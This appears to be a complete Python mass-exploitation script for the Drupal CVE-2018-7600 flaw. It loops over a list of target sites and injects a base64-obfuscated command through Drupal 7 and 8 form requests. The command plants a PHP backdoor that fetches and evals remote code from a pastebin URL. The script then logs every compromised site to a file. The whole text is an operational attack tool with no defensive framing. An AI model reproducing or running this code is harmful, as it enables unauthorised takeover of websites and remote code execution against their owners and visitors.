Drupal exploit

#!/usr/bin/env python

import sys, requests, re, os

print('==============================================================================')
print('||                      Drupal exploit (CVE-2018-7600)                      ||')
print('||                            Backbox Indonesia                             ||')
print('==============================================================================')
try:
    file = os.path.isfile(sys.argv[1])
    if file == True:
        targets = sys.argv[1]
    else:
        exit()
except:
    print('|| Usage : {} target.txt'.format(sys.argv[0]))
    print('==============================================================================')
    exit()

def drupal7(target):
    try:
        verify = True
        cmd = 'echo PD9waHAgZXZhbCgiPz4iLmZpbGVfZ2V0X2NvbnRlbnRzKCJodHRwczovL3Bhc3RlYmluLmNvbS9yYXcvTkVzd0U5aXoiKSk7Cg== | base64 -d | tee ./x7.php ./sites/default/x7.php ./sites/default/files/x7.php'
        url = target + '?q=user/password&name[%23post_render][]=passthru&name[%23type]=markup&name[%23markup]=' + cmd
        data = { 'form_id': 'user_pass', '_triggering_element_name': 'name' }
        req = requests.post(url, data=data, verify=verify, timeout=5)
        patern = re.compile('<input type="hidden" name="form_build_id" value="(.+?)" />')
        form = re.findall(patern, req.text)
        url2 = target + '?q=file/ajax/name/%23value/' + form[0]
        post = { 'form_build_id': form[0] }
        send = requests.post(url2, data=post, timeout=5)
        get1 = requests.get(target + 'x7.php', timeout=5)
        get2 = requests.get(target + 'sites/default/x7.php', timeout=5)
        get3 = requests.get(target + 'sites/default/files/x7.php', timeout=5)
        if get1.status_code == 200:
            print('|| Backdoor uploaded in : {}x7.php'.format(target))
            open('sukses.txt', 'a').write('{}x7.php\n'.format(target))

        if get2.status_code == 200:
            print('|| Backdoor uploaded in : {}sites/default/x7.php'.format(target))
            open('sukses.txt', 'a').write('{}sites/default/x7.php\n'.format(target))

        if get3.status_code == 200:
            print('|| Backdoor uploaded in : {}sites/default/files/x7.php'.format(target))
            open('sukses.txt', 'a').write('{}sites/default/files/x7.php\n'.format(target))
        else:
            print('|| Upload failed (drupal7)..')
    except:
        print('|| Target not exploitable (drupal7)..')

def drupal8(target):
    try:
        verify = True
        cmd = 'echo PD9waHAgZXZhbCgiPz4iLmZpbGVfZ2V0X2NvbnRlbnRzKCJodHRwczovL3Bhc3RlYmluLmNvbS9yYXcvTkVzd0U5aXoiKSk7Cg== | base64 -d | tee ./x8.php ./sites/default/x8.php ./sites/default/files/x8.php'
        url = target + 'user/register?element_parents=account/mail/%23value&ajax_form=1&_wrapper_format=drupal_ajax'
        payload = {'form_id': 'user_register_form', '_drupal_ajax': '1', 'mail[#post_render][]': 'exec', 'mail[#type]': 'markup', 'mail[#markup]': cmd }
        req = requests.post(url, data=payload, verify=verify, timeout=5)
        get1 = requests.get(target + 'x8.php', timeout=5)
        get2 = requests.get(target + 'sites/default/x8.php', timeout=5)
        get3 = requests.get(target + 'sites/default/files/x8.php', timeout=5)
        if get1.status_code == 200:
            print('|| Backdoor uploaded in : {}x8.php'.format(target))
            open('sukses.txt', 'a').write('{}x8.php\n'.format(target))

        if get2.status_code == 200:
            print('|| Backdoor uploaded in : {}sites/default/x8.php'.format(target))
            open('sukses.txt', 'a').write('{}sites/default/x8.php\n'.format(target))

        if get3.status_code == 200:
            print('|| Backdoor uploaded in : {}sites/default/files/x8.php'.format(target))
            open('sukses.txt', 'a').write('{}sites/default/files/x8.php\n'.format(target))
        else:
            print('|| Upload failed (drupal8)..')
    except:
        print('|| Target not exploitable (drupal8)..')

for target in open(targets, 'r').read().split('\n'):
    if target == '': break
    try:
        print('|| Target : {}'.format(target))
        drupal7(target)
        drupal8(target)
        print('==============================================================================')
    except: exit()